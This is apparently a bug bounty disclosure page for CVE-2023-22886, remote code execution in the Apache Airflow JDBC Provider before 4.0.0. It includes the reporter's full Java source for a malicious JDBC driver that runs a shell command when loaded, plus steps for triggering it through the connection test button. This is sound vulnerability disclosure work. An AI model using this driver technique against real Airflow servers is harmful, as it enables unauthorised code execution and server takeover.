jdbc apache airflow provider code execution vulnerability
The Apache Airflow JDBC Provider allowed users to specify arbitrary JDBC driver paths and class names, which led to remote code execution when the connection was tested. An attacker could execute arbitrary Java code and gain Airflow server permissions.
- Triaged in 3 hours
- Fixed in 15 days
- Paid in 15 days
- Disclosed after 45 days
Summary by the program
CVE-2023-22886: Apache Airflow JDBC Provider: RCE Vulnerability
Severity: low
Affected versions:
- Apache Airflow JDBC Provider before 4.0.0
Description: Improper Input Validation vulnerability in Apache Software Foundation Apache Airflow JDBC Provider. Airflow JDBC Provider Connection’s [Connection URL] parameters had no restrictions, which made it possible to implement RCE attacks via different type JDBC drivers, obtain airflow server permission. This issue affects Apache Airflow JDBC Provider: before 4.0.0.
Credit:
heart Y (finder) happyhacking (finder)
Security Advisory: https://lists.apache.org/thread/ynbjwp4n0vzql0xzhog1gkp1ovncf8j3
The report
In airflow.providers.jdbc.hooks.jdbc.JdbcHook, A privilege escalation vulnerability exists in a system due to controllable Driver Path and Driver Class parameters which cause executing any java code.
Vulnerability reproduction steps:
- create a malicious jdbc driver, like this
import java.io.*;
import java.sql.*;
import java.util.Properties;
import java.util.logging.Logger;
public class Test implements Driver {
static {
try {
cmd();
DriverManager.registerDriver(new Test());
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public Connection connect(String url, Properties info) throws SQLException {
return null;
}
@Override
public boolean acceptsURL(String url) throws SQLException {
try {
cmd();
} catch (IOException e) {
throw new RuntimeException(e);
}
// 验证URL是否为该驱动程序所支持的URL
return url.startsWith("jdbc:mydb:");
}
@Override
public DriverPropertyInfo[] getPropertyInfo(String url, Properties info) throws SQLException {
return new DriverPropertyInfo[0];
}
@Override
public int getMajorVersion() {
return 1;
}
@Override
public int getMinorVersion() {
return 0;
}
@Override
public boolean jdbcCompliant() {
return false;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
public static void cmd() throws IOException {
String[] cmd = {"sh", "-c", "whoami"};
Process p = Runtime.getRuntime().exec(cmd);
InputStream in = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(in));
File outputFile = new File("/tmp/airflow-jdbc.txt");
BufferedWriter writer = new BufferedWriter(new FileWriter(outputFile));
String line;
while ((line = reader.readLine()) != null) {
writer.write(line);
writer.newLine();
}
writer.close();
}
}
generate a jar package.
- config jdbc connection
Go to the Connection configuration page.
Fill in the driver path with the path of jar package generated in the previous step.
Fill in the driver class with the value of Test.
- click on the test button
Click on the test button and it can be observed that the command is executed and a file named airflow-jdbc.txt is generated in the /tmp directory.
This is a screenshot of my email exchange with Airflow developers:
███
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The JDBC hook allowed user-controlled 'Driver Path' and 'Driver Class' parameters without validation, so any Java class could be loaded and executed.
Impact
An attacker could execute arbitrary Java code and obtain Airflow server permissions.
What the attacker needed
Access to Airflow connection configuration; ability to upload a JAR file; ability to trigger connection test
The fix
The issue affects Apache Airflow JDBC Provider before 4.0.0; the text does not describe the fix.
How it was found
- Create a malicious JDBC driver that executes a command when loaded or when its methods are called.
- Package the driver into a JAR file.
- In the Airflow connection configuration, set the driver path to the JAR file and the driver class to the malicious class.
- Click the test button to trigger execution of the malicious driver.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The JDBC provider lets you connect Airflow to databases using Java drivers. It did not check which driver file or class you gave it, so someone could upload a malicious driver that runs commands when Airflow tries to test the connection. This gave the attacker control over the Airflow server.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.